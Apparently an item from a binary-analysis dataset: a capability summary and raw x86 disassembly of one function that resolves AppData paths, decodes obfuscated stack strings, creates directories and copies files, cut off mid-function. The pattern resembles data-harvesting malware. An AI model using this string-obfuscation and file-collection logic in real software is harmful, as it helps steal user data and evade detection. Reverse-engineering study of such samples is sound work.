Function at 0x410560
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5061b3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xe28
push ebx
push esi
push edi
mov edi, ecx
push 0x104
lea eax, [ebp - 0xd28]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004e14f0
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0xd28]
add esp, 0xc
push eax
push 0
push 0
push 0x1a
push 0
call esi
push 0x104
lea eax, [ebp - 0xe30]
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0xe30]
push eax
push 0
push 0
push 0x1c
push 0
call esi
lea ecx, [ebp - 0xfb]
mov dword [ebp - 0xfb], 0x988294a8
mov dword [ebp - 0xf7], 0xa7999095
mov dword [ebp - 0xf3], 0x9e9d92b0
mov dword [ebp - 0xef], 0x7751216c
mov dword [ebp - 0xeb], 0x6067776b
mov word [ebp - 0xe7], 0x6d
mov byte [ebp - 0xe5], 1
call fcn.00467c80
push dword [ebp - 0x14]
lea ecx, [ebp - 0x890]
call fcn.00402ac0
lea ecx, [ebp - 0xfb]
mov byte [ebp - 4], 1
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410646
sub ecx, edx
lea eax, [ebp - 0xfb]
push ecx
push eax
lea ecx, [ebp - 0x890]
call fcn.00402ae0
lea eax, [ebp - 0x890]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x878]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x890]
mov byte [ebp - 4], 4
call fcn.004028d0
lea ecx, [ebp - 0x878]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test al, al
je 0x41079f
lea ecx, [ebp - 0x18e]
mov dword [ebp - 0x18e], 0x9882b4a8
mov dword [ebp - 0x18a], 0x999095
mov byte [ebp - 0x186], 1
call fcn.00409ee0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x650]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x650]
mov byte [ebp - 4], 5
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x410716
push 0
lea ecx, [ebp - 0x650]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x410790
sub esp, 0x18
lea eax, [ebp - 0x650]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x878]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 5
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x410758
mov byte [edi], 1
jmp 0x410790
lea ecx, [ebp - 0x650]
call fcn.00402a20
push eax
lea ecx, [ebp - 0xa70]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa70]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0xa70]
call fcn.004028d0
lea ecx, [ebp - 0x650]
mov byte [ebp - 4], 4
call fcn.004028d0
lea ecx, [ebp - 0xaf]
mov dword [ebp - 0xaf], 0x929ab0a8
mov dword [ebp - 0xab], 0x8e888d9b
mov dword [ebp - 0xa7], 0x9e89a191
mov dword [ebp - 0xa3], 0x77676d6c
mov word [ebp - 0x9f], 0x77
mov byte [ebp - 0x9d], 1
call fcn.00467c50
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8a8]
call fcn.00402ac0
lea ecx, [ebp - 0xaf]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410800
sub ecx, edx
lea eax, [ebp - 0xaf]
push ecx
push eax
lea ecx, [ebp - 0x8a8]
call fcn.00402ae0
lea eax, [ebp - 0x8a8]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x860]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x8a8]
mov byte [ebp - 4], 0xb
call fcn.004028d0
lea ecx, [ebp - 0x860]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x41095c
lea ecx, [ebp - 0x244]
mov dword [ebp - 0x244], 0x929ab0a8
mov dword [ebp - 0x240], 0x8e888d9b
mov word [ebp - 0x23c], 0x91
mov byte [ebp - 0x23a], 1
call fcn.00408b90
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x668]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 0xc
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x4108d3
push 0
lea ecx, [ebp - 0x668]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x41094d
sub esp, 0x18
lea eax, [ebp - 0x668]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x860]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 0xc
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x410915
mov byte [edi], 1
jmp 0x41094d
lea ecx, [ebp - 0x668]
call fcn.00402a20
push eax
lea ecx, [ebp - 0xa88]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa88]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0xa88]
call fcn.004028d0
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 0xb
call fcn.004028d0
lea ecx, [ebp - 0xcd]
mov dword [ebp - 0xcd], 0x988eb0a8
mov dword [ebp - 0xc9], 0xa7898c9c
mov dword [ebp - 0xc5], 0x9b918599
mov dword [ebp - 0xc1], 0x742c7275
mov dword [ebp - 0xbd], 0x626a6965
mov word [ebp - 0xb9], 0x7c
mov byte [ebp - 0xb7], 1
call fcn.00467c80
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8c0]
call fcn.00402ac0
lea ecx, [ebp - 0xcd]
mov byte [ebp - 4], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4109c4
sub ecx, edx
lea eax, [ebp - 0xcd]
push ecx
push eax
lea ecx, [ebp - 0x8c0]
call fcn.00402ae0
lea eax, [ebp - 0x8c0]
mov byte [ebp - 4], 0x10
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x848]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x8c0]
mov byte [ebp - 4], 0x12
call fcn.004028d0
lea ecx, [ebp - 0x848]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x410b17
lea ecx, [ebp - 0x197]
mov dword [ebp - 0x197], 0x988eb0a8
mov dword [ebp - 0x193], 0x898c9c
mov byte [ebp - 0x18f], 1
call fcn.00409ee0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x680]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x680]
mov byte [ebp - 4], 0x13
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x410a8e
push 0
lea ecx, [ebp - 0x680]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x410b08
sub esp, 0x18
lea eax, [ebp - 0x680]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x848]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 0x13
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x410ad0
mov byte [edi], 1
jmp 0x410b08
lea ecx, [ebp - 0x680]
call fcn.00402a20
push eax
lea ecx, [ebp - 0xaa0]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xaa0]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0xaa0]
call fcn.004028d0
lea ecx, [ebp - 0x680]
mov byte [ebp - 4], 0x12
call fcn.004028d0
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0x929ab0a8
mov dword [ebp - 0xe0], 0x8e888d9b
mov dword [ebp - 0xdc], 0xabb2d091
mov dword [ebp - 0xd8], 0x62755d43
mov dword [ebp - 0xd4], 0x73636968
mov word [ebp - 0xd0], 0x7b
mov byte [ebp - 0xce], 1
call fcn.00467c80
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8d8]
call fcn.00402ac0
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x16
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b80
sub ecx, edx
lea eax, [ebp - 0xe4]
push ecx
push eax
lea ecx, [ebp - 0x8d8]
call fcn.00402ae0
lea eax, [ebp - 0x8d8]
mov byte [ebp - 4], 0x17
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x830]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x8d8]
mov byte [ebp - 4], 0x19
call fcn.004028d0
lea ecx, [ebp - 0x830]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x410cdf
lea ecx, [ebp - 0x2be]
mov dword [ebp - 0x2be], 0x929ab0a8
mov dword [ebp - 0x2ba], 0x8e888d9b
mov dword [ebp - 0x2b6], 0xbcaab191
mov word [ebp - 0x2b2], 0x100
call fcn.0040dfb0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x698]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x698]
mov byte [ebp - 4], 0x1a
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x410c56
push 0
lea ecx, [ebp - 0x698]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x410cd0
sub esp, 0x18
lea eax, [ebp - 0x698]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x830]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 0x1a
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x410c98
mov byte [edi], 1
jmp 0x410cd0
lea ecx, [ebp - 0x698]
call fcn.00402a20
push eax
lea ecx, [ebp - 0xab8]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xab8]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0xab8]
call fcn.004028d0
lea ecx, [ebp - 0x698]
mov byte [ebp - 4], 0x19
call fcn.004028d0
lea ecx, [ebp - 0x77]
mov dword [ebp - 0x77], 0x9999b8a8
mov dword [ebp - 0x73], 0xa7958b9d
mov dword [ebp - 0x6f], 0x93929c8b
mov dword [ebp - 0x6b], 0x717565
mov byte [ebp - 0x67], 1
call fcn.00467a60
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6b0]
call fcn.00402ac0
lea ecx, [ebp - 0x77]
mov byte [ebp - 4], 0x1d
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410d20
sub ecx, edx
lea eax, [ebp - 0x77]
push ecx
push eax
lea ecx, [ebp - 0x6b0]
call fcn.00402ae0
lea eax, [ebp - 0x6b0]
mov byte [ebp - 4], 0x1e
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x818]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x6b0]
mov byte [ebp - 4], 0x20
call fcn.004028d0
lea ecx, [ebp - 0x818]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x410e70
lea ecx, [ebp - 0x13d]
mov dword [ebp - 0x13d], 0x9999b8a8
mov dword [ebp - 0x139], 0x958b9d
mov byte [ebp - 0x135], 1
call fcn.00409ee0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4d0]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x21
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x410de7
push 0
lea ecx, [ebp - 0x4d0]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x410e61
sub esp, 0x18
lea eax, [ebp - 0x4d0]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x818]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 0x21
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x410e29
mov byte [edi], 1
jmp 0x410e61
lea ecx, [ebp - 0x4d0]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x8f0]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x8f0]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x8f0]
call fcn.004028d0
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x20
call fcn.004028d0
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x9a9996a8
mov dword [ebp - 0x98], 0x999395d6
mov dword [ebp - 0x94], 0x868a8f99
mov dword [ebp - 0x90], 0x7b636b2e
mov word [ebp - 0x8c], 0x7c
mov byte [ebp - 0x8a], 1
call fcn.00467c50
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6c8]
call fcn.00402ac0
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x24
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ed0
sub ecx, edx
lea eax, [ebp - 0x9c]
push ecx
push eax
lea ecx, [ebp - 0x6c8]
call fcn.00402ae0
lea eax, [ebp - 0x6c8]
mov byte [ebp - 4], 0x25
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x488]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 4], 0x27
call fcn.004028d0
lea ecx, [ebp - 0x488]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x4114d5
lea ecx, [ebp - 0x2db]
mov dword [ebp - 0x2db], 0x8f97bfa8
mov dword [ebp - 0x2d7], 0x92b6d980
mov dword [ebp - 0x2d3], 0x8b8c989e
mov word [ebp - 0x2cf], 0x79
mov byte [ebp - 0x2cd], 1
call fcn.00408d10
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4a0]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0x28
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x410fb1
push 0
lea ecx, [ebp - 0x4a0]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x4114c6
lea ecx, [ebp - 0x28c]
mov dword [ebp - 0x28c], 0x9398bca8
mov dword [ebp - 0x288], 0x9f9f819d
mov dword [ebp - 0x284], 0x100bfb8
call fcn.0040df80
push eax
lea edx, [ebp - 0x488]
lea ecx, [ebp - 0xbd8]
call fcn.0046e400
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x29
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
lea ecx, [ebp - 0xbd8]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.004028d0
test bl, bl
je 0x411147
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x280], 0x9398bca8
mov dword [ebp - 0x27c], 0x9f9f819d
mov dword [ebp - 0x278], 0x100bfb8
call fcn.0040df80
push eax
lea edx, [ebp - 0x4a0]
lea ecx, [ebp - 0x4e8]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x2a
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x41108a
push 0
lea ecx, [ebp - 0x4e8]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x411138
sub esp, 0x18
lea eax, [ebp - 0x4e8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x274], 0x9398bca8
mov dword [ebp - 0x270], 0x9f9f819d
mov esi, esp
mov dword [ebp - 0x26c], 0x100bfb8
call fcn.0040df80
push eax
lea edx, [ebp - 0x488]
mov ecx, esi
call fcn.0046e400
add esp, 4
mov byte [ebp - 4], 0x2a
mov cl, bl
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x4110fa
mov byte [edi], 1
jmp 0x411132
lea ecx, [ebp - 0x4e8]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x908]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x908]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x908]
call fcn.004028d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x28
call fcn.004028d0
lea ecx, [ebp - 0x2fa]
mov dword [ebp - 0x2fa], 0x9499b9a8
mov dword [ebp - 0x2f6], 0xa8da9599
mov dword [ebp - 0x2f2], 0x9e8c9288
mov dword [ebp - 0x2ee], 0x1006467
call fcn.0040e0d0
push eax
lea edx, [ebp - 0x488]
lea ecx, [ebp - 0xbf0]
call fcn.0046e400
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x2d
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
lea ecx, [ebp - 0xbf0]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.004028d0
test bl, bl
je 0x4112fb
lea ecx, [ebp - 0x30a]
mov dword [ebp - 0x30a], 0x9499b9a8
mov dword [ebp - 0x306], 0xa8da9599
mov dword [ebp - 0x302], 0x9e8c9288
mov dword [ebp - 0x2fe], 0x1006467
call fcn.0040e0d0
push eax
lea edx, [ebp - 0x4a0]
lea ecx, [ebp - 0x500]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x500]
mov byte [ebp - 4], 0x2e
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x411234
push 0
lea ecx, [ebp - 0x500]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x4112ec
sub esp, 0x18
lea eax, [ebp - 0x500]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x31a]
sub esp, 0x18
mov dword [ebp - 0x31a], 0x9499b9a8
mov dword [ebp - 0x316], 0xa8da9599
mov esi, esp
mov dword [ebp - 0x312], 0x9e8c9288
mov dword [ebp - 0x30e], 0x1006467
call fcn.0040e0d0
push eax
lea edx, [ebp - 0x488]
mov ecx, esi
call fcn.0046e400
add esp, 4
mov byte [ebp - 4], 0x2e
mov cl, bl
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x4112ae
mov byte [edi], 1
jmp 0x4112e6
lea ecx, [ebp - 0x500]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x920]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x920]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x920]
call fcn.004028d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x500]
mov byte [ebp - 4], 0x28
call fcn.004028d0
lea ecx, [ebp - 0x3b3]
mov dword [ebp - 0x3b3], 0x8493a6a8
mov dword [ebp - 0x3af], 0x9595908b
mov dword [ebp - 0x3ab], 0x908aaedc
mov dword [ebp - 0x3a7], 0x66656072
mov word [ebp - 0x3a3], 0x100
call fcn.0040def0
push eax
lea edx, [ebp - 0x488]
lea ecx, [ebp - 0xc08]
call fcn.0046e400
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x31
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
lea ecx, [ebp - 0xc08]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.004028d0
test bl, bl
je 0x4114c6
lea ecx, [ebp - 0x38f]
mov dword [ebp - 0x38f], 0x8493a6a8
mov dword [ebp - 0x38b], 0x9595908b
mov dword [ebp - 0x387], 0x908aaedc
mov dword [ebp - 0x383], 0x66656072
mov word [ebp - 0x37f], 0x100
call fcn.0040def0
push eax
lea edx, [ebp - 0x4a0]
lea ecx, [ebp - 0x518]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x518]
mov byte [ebp - 4], 0x32
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x4113fa
push 0
lea ecx, [ebp - 0x518]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x4114bb
sub esp, 0x18
lea eax, [ebp - 0x518]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x37d]
sub esp, 0x18
mov dword [ebp - 0x37d], 0x8493a6a8
mov dword [ebp - 0x379], 0x9595908b
mov esi, esp
mov dword [ebp - 0x375], 0x908aaedc
mov dword [ebp - 0x371], 0x66656072
mov word [ebp - 0x36d], 0x100
call fcn.0040def0
push eax
lea edx, [ebp - 0x488]
mov ecx, esi
call fcn.0046e400
add esp, 4
mov byte [ebp - 4], 0x32
mov cl, bl
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x41147d
mov byte [edi], 1
jmp 0x4114b5
lea ecx, [ebp - 0x518]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x938]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x938]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x938]
call fcn.004028d0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x518]
call fcn.004028d0
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0x27
call fcn.004028d0
lea ecx, [ebp - 0x425]
mov dword [ebp - 0x425], 0x8f97bfa8
mov dword [ebp - 0x421], 0x94b6a580
mov dword [ebp - 0x41d], 0xdf929c9f
mov dword [ebp - 0x419], 0x716d7553
mov dword [ebp - 0x415], 0x636265
mov byte [ebp - 0x411], 1
call fcn.0040e100
push eax
lea ecx, [ebp - 0xc20]
call fcn.00402980
push eax
lea edx, [ebp - 0xd28]
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x800]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0xc20]
mov byte [ebp - 4], 0x37
call fcn.004028d0
lea ecx, [ebp - 0x800]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x411655
lea ecx, [ebp - 0xb6]
mov dword [ebp - 0xb6], 0x8f97bfa8
mov word [ebp - 0xb2], 0x80
mov byte [ebp - 0xb0], 1
call fcn.004083d0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x530]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x38
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x4115cc
push 0
lea ecx, [ebp - 0x530]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x411646
sub esp, 0x18
lea eax, [ebp - 0x530]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x39
lea eax, [ebp - 0x800]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 0x38
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x41160e
mov byte [edi], 1
jmp 0x411646
lea ecx, [ebp - 0x530]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x950]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x950]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x950]
call fcn.004028d0
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x37
call fcn.004028d0
lea ecx, [ebp - 0x456]
mov dword [ebp - 0x456], 0x9e99b6a8
mov dword [ebp - 0x452], 0x92979696
mov dword [ebp - 0x44e], 0x9691bea0
mov dword [ebp - 0x44a], 0x6a6f6e6e
mov dword [ebp - 0x446], 0x6b677258
mov dword [ebp - 0x442], 0x787e6c64
mov word [ebp - 0x43e], 0x100
call fcn.00408bc0
push eax
lea ecx, [ebp - 0xad0]
call fcn.00402980
push eax
lea edx, [ebp - 0xe30]
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x7e8]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0xad0]
mov byte [ebp - 4], 0x3d
call fcn.004028d0
lea ecx, [ebp - 0x7e8]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x4117e4
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x218], 0x9e99b6a8
mov dword [ebp - 0x214], 0x92979696
mov word [ebp - 0x210], 0x100
call fcn.0040df50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x548]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x3e
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x41175b
push 0
lea ecx, [ebp - 0x548]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x4117d5
sub esp, 0x18
lea eax, [ebp - 0x548]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x7e8]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 0x3e
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x41179d
mov byte [edi], 1
jmp 0x4117d5
lea ecx, [ebp - 0x548]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x968]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x968]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x968]
call fcn.004028d0
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x3d
call fcn.004028d0
lea ecx, [ebp - 0x146]
mov dword [ebp - 0x146], 0x9a84b4a8
mov dword [ebp - 0x142], 0x838b97
mov byte [ebp - 0x13e], 1
call fcn.00409ee0
push eax
lea ecx, [ebp - 0xae8]
call fcn.00402980
push eax
lea edx, [ebp - 0xd28]
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x7d0]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0xae8]
mov byte [ebp - 4], 0x43
call fcn.004028d0
lea ecx, [ebp - 0x7d0]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
je 0x411947
lea ecx, [ebp - 0x14f]
mov dword [ebp - 0x14f], 0x9a84b4a8
mov dword [ebp - 0x14b], 0x838b97
mov byte [ebp - 0x147], 1
call fcn.00409ee0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x560]
call fcn.0046e400
add esp, 4
lea ecx, [ebp - 0x560]
mov byte [ebp - 4], 0x44
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
jne 0x4118be
push 0
lea ecx, [ebp - 0x560]
call fcn.00402a20
push eax
call esi
test eax, eax
je 0x411938
sub esp, 0x18
lea eax, [ebp - 0x560]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.0046a770
sub esp, 0x18
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x7d0]
mov ecx, esp
push eax
call fcn.0046a770
mov cl, bl
mov byte [ebp - 4], 0x44
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x411900
mov byte [edi], 1
jmp 0x411938
lea ecx, [ebp - 0x560]
call fcn.00402a20
push eax
lea ecx, [ebp - 0x980]
call fcn.00402980
push 0
mov dl, 1
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x980]
call fcn.0040a750
add esp, 4
lea ecx, [ebp - 0x980]
call fcn.004028d0
lea ecx, [ebp - 0x560]
mov byte [ebp - 4], 0x43
call fcn.004028d0
lea ecx, [ebp - 0x20e]
mov dword [ebp - 0x20e], 0x9b97a2a8
mov dword [ebp - 0x20a], 0xac8e9c94
mov dword [ebp - 0x206], 0x9d9f8e9d
mov dword [ebp - 0x202], 0x6f415d69
mov dword [ebp - 0x1fe], 0x7368606d
mov dword [ebp - 0x1fa], 0x676b5e54
mov dword [ebp - 0x1f6], 0x7c7a6860
mov word [ebp - 0x1f2], 0x100
call fcn.004676c0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6e0]
call fcn.00402ac0
lea ecx, [ebp - 0x20e]
mov byte [ebp - 4], 0x47
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4119c0
sub ecx, edx
lea eax, [ebp - 0x20e]
push ecx
push eax
lea ecx, [ebp - 0x6e0]
call fcn.00402ae0
lea eax, [ebp - 0x6e0]
mov byte [ebp - 4], 0x48
push eax
lea edx, [ebp - 0xd28]
lea ecx, [ebp - 0x7b8]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x6e0]
mov byte [ebp - 4], 0x4a
call fcn.004028d0
lea ecx, [ebp - 0x7b8]
call fcn.00402a20
mov ecx, eax
call fcn.0040a690
test al, al
